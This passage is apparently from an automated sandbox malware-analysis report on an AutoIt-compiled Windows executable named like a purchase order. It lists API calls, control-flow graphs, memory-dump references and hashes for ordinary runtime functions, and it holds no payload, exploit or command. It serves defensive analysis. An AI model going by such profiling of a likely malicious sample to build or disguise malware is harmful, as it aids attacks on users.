calls 86820->86823 86821 40c00f 86821->86810 86825 40c033 86823->86825 86824 40c023 86824->86810 86825->86810 86826->86814 86827->86821 86828->86824 85013 40116e 85014 401119 DefWindowProcW 85013->85014

                                                                                                                                                                      Executed Functions

                                                                                                                                                                      Function 00409A40 Relevance: 32.2, APIs: 15, Strings: 2, Instructions: 2432COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                        • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                      • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                      • String ID: 0vH$4RH
                                                                                                                                                                      • API String ID: 1143807570-2085553193
                                                                                                                                                                      • Opcode ID: 99d1197353860daa2513f82cc2f46b4e9eeffbfa9250308b68df757a7373a6ee
                                                                                                                                                                      • Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
                                                                                                                                                                      • Opcode Fuzzy Hash: 99d1197353860daa2513f82cc2f46b4e9eeffbfa9250308b68df757a7373a6ee
                                                                                                                                                                      • Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                                                                                                                                                                      Function 0040E470 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 165COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1204 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 1213 40e506-40e509 1204->1213 1214 42accc-42acd1 1204->1214 1217 40e540-40e555 call 40ee70 1213->1217 1218 40e50b-40e51c 1213->1218 1215 42acd3-42acdb 1214->1215 1216 42acdd-42ace0 1214->1216 1219 42ad12-42ad20 1215->1219 1220 42ace2-42aceb 1216->1220 1221 42aced-42acf0 1216->1221 1231 40e557-40e573 GetCurrentProcess call 40ee30 1217->1231 1232 40e579-40e5a8 1217->1232 1222 40e522-40e525 1218->1222 1223 42ac9b-42aca7 1218->1223 1230 42ad28-42ad2d GetSystemInfo 1219->1230 1220->1219 1221->1219 1228 42acf2-42ad06 1221->1228 1222->1217 1229 40e527-40e537 1222->1229 1226 42acb2-42acba 1223->1226 1227 42aca9-42acad 1223->1227 1226->1217 1227->1217 1233 42ad08-42ad0c 1228->1233 1234 42ad0e 1228->1234 1235 42acbf-42acc7 1229->1235 1236 40e53d 1229->1236 1238 42ad38-42ad3d GetSystemInfo 1230->1238 1231->1232 1245 40e575 1231->1245 1232->1238 1239 40e5ae-40e5c3 call 40eee0 1232->1239 1233->1219 1234->1219 1235->1217 1236->1217 1239->1230 1244 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 1239->1244 1248 40e5e0-40e5ef 1244->1248 1249 40e5dd-40e5de FreeLibrary 1244->1249 1245->1232 1250 40e5f1-40e5f2 FreeLibrary 1248->1250 1251 40e5f4-40e5ff 1248->1251 1249->1248 1250->1251
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetVersionExW.KERNEL32 ref: 0040E495
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                                                                                                                                                                      • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                                                                                                                                                                      • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                                                                                                                                                                      • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                                                                                                                                                                      • String ID: pMH
                                                                                                                                                                      • API String ID: 2923339712-2522892712
                                                                                                                                                                      • Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                                      • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                                                                                                                                                                      • Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                                      • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                                                                                                                                                                      Function 0040EB70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressLibraryLoadProc
                                                                                                                                                                      • String ID: IsThemeActive$uxtheme.dll
                                                                                                                                                                      • API String ID: 2574300362-3542929980
                                                                                                                                                                      • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                      • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                                                                                                                                                                      • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                      • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28
                                                                                                                                                                      Function 00410B90 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 167registryCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 00410C61
                                                                                                                                                                        • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                      • _wcsncat.LIBCMT ref: 00410C78
                                                                                                                                                                      • __wmakepath.LIBCMT ref: 00410C94
                                                                                                                                                                        • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                        • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 00410CCC
                                                                                                                                                                      • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                                                                                                                                                                      • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                                                                                                                                                                      • _wcscat.LIBCMT ref: 00429C43
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00429C55
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00429C66
                                                                                                                                                                      • _wcscat.LIBCMT ref: 00429C80
                                                                                                                                                                      • _wcsncpy.LIBCMT ref: 00429CC0
                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                      • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                                                                                                                      • API String ID: 1004883554-2276155026
                                                                                                                                                                      • Opcode ID: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                                                                                                                      • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                                                                                                                                                                      • Opcode Fuzzy Hash: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                                                                                                                      • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A
                                                                                                                                                                      Function 004095C7 Relevance: 21.5, APIs: 14, Instructions: 539sleeptimeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00409A40: _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                        • Part of subcall function 00409A40: CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                      • Sleep.KERNEL32(0000000A), ref: 00409870
                                                                                                                                                                      • timeGetTime.WINMM ref: 00409880
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: BuffCharSleepTimeUpper_wcslentime
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3219444185-0
                                                                                                                                                                      • Opcode ID: b124ae733e2c30a8df030179fd7ebda2966fc041c6879d6beed06594e2dda547
                                                                                                                                                                      • Instruction ID: 79dfb759edd1749a95aa3438e3198289cebfc990e9c1b7da565b255c5aac8c6d
                                                                                                                                                                      • Opcode Fuzzy Hash: b124ae733e2c30a8df030179fd7ebda2966fc041c6879d6beed06594e2dda547
                                                                                                                                                                      • Instruction Fuzzy Hash: D422F171608342ABC724DF64C984BABB7A0BF89304F14492FE54997392D77CEC45CB9A
                                                                                                                                                                      Function 004523CE Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 145COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __fread_nolock$_fseek_wcscpy
                                                                                                                                                                      • String ID: FILE
                                                                                                                                                                      • API String ID: 3888824918-3121273764
                                                                                                                                                                      • Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                                      • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
                                                                                                                                                                      • Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                                      • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA
                                                                                                                                                                      Function 004102F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                      • GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                      • RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                      • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                                      • InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                                      • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                                      • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                      • ImageList_ReplaceIcon.COMCTL32(00B8FAC8,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                                                                                      • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                                                                                                      • API String ID: 2914291525-1005189915
                                                                                                                                                                      • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                      • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                                                                                                                                                                      • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                      • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A
                                                                                                                                                                      Function 004101F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74windowregistryCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                      • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                      • LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                      • LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                      • LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                      • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                      • RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                        • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                        • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                        • Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                                        • Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                                        • Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                                        • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                        • Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(00B8FAC8,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                                                                                      • String ID: #$0$PGH
                                                                                                                                                                      • API String ID: 423443420-3673556320
                                                                                                                                                                      • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                      • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                                                                                                                                                                      • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                      • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99
                                                                                                                                                                      Function 00452574 Relevance: 13.7, APIs: 9, Instructions: 171COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                      • _fseek.LIBCMT ref: 004525DA
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                        • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                        • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452618
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452629
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452644
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452661
                                                                                                                                                                      • _fseek.LIBCMT ref: 0045267D
                                                                                                                                                                      • _malloc.LIBCMT ref: 00452689
                                                                                                                                                                      • _malloc.LIBCMT ref: 00452696
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 004526A7
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __fread_nolock$_fseek_malloc_wcscpy
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1911931848-0
                                                                                                                                                                      • Opcode ID: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                                                                                      • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                                                                                                                                                                      • Opcode Fuzzy Hash: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                                                                                      • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A
                                                                                                                                                                      Function 0040F450 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1294 40f450-40f45c call 425210 1297 40f460-40f478 1294->1297 1297->1297 1298 40f47a-40f4a8 call 413990 call 410f70 1297->1298 1303 40f4b0-40f4d1 call 4151b0 1298->1303 1306 40f531 1303->1306 1307 40f4d3-40f4da 1303->1307 1308 40f536-40f540 1306->1308 1309 40f4dc-40f4de 1307->1309 1310 40f4fd-40f517 call 41557c 1307->1310 1311 40f4e0-40f4e2 1309->1311 1314 40f51c-40f51f 1310->1314 1313 40f4e6-40f4ed 1311->1313 1315 40f521-40f52c 1313->1315 1316 40f4ef-40f4f2 1313->1316 1314->1303 1319 40f543-40f54e 1315->1319 1320 40f52e-40f52f 1315->1320 1317 42937a-4293a0 call 41557c call 4151b0 1316->1317 1318 40f4f8-40f4fb 1316->1318 1331 4293a5-4293c3 call 4151d0 1317->1331 1318->1310 1318->1311 1321 40f550-40f553 1319->1321 1322 40f555-40f560 1319->1322 1320->1316 1321->1316 1324 429372 1322->1324 1325 40f566-40f571 1322->1325 1324->1317 1327 429361-429367 1325->1327 1328 40f577-40f57a 1325->1328 1327->1313 1330 42936d 1327->1330 1328->1316 1330->1324 1331->1308
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __fread_nolock_fseek_strcat
                                                                                                                                                                      • String ID: AU3!$EA06
                                                                                                                                                                      • API String ID: 3818483258-2658333250
                                                                                                                                                                      • Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                                      • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                                                                                                                                                                      • Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                                      • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B
                                                                                                                                                                      Function 00410130 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
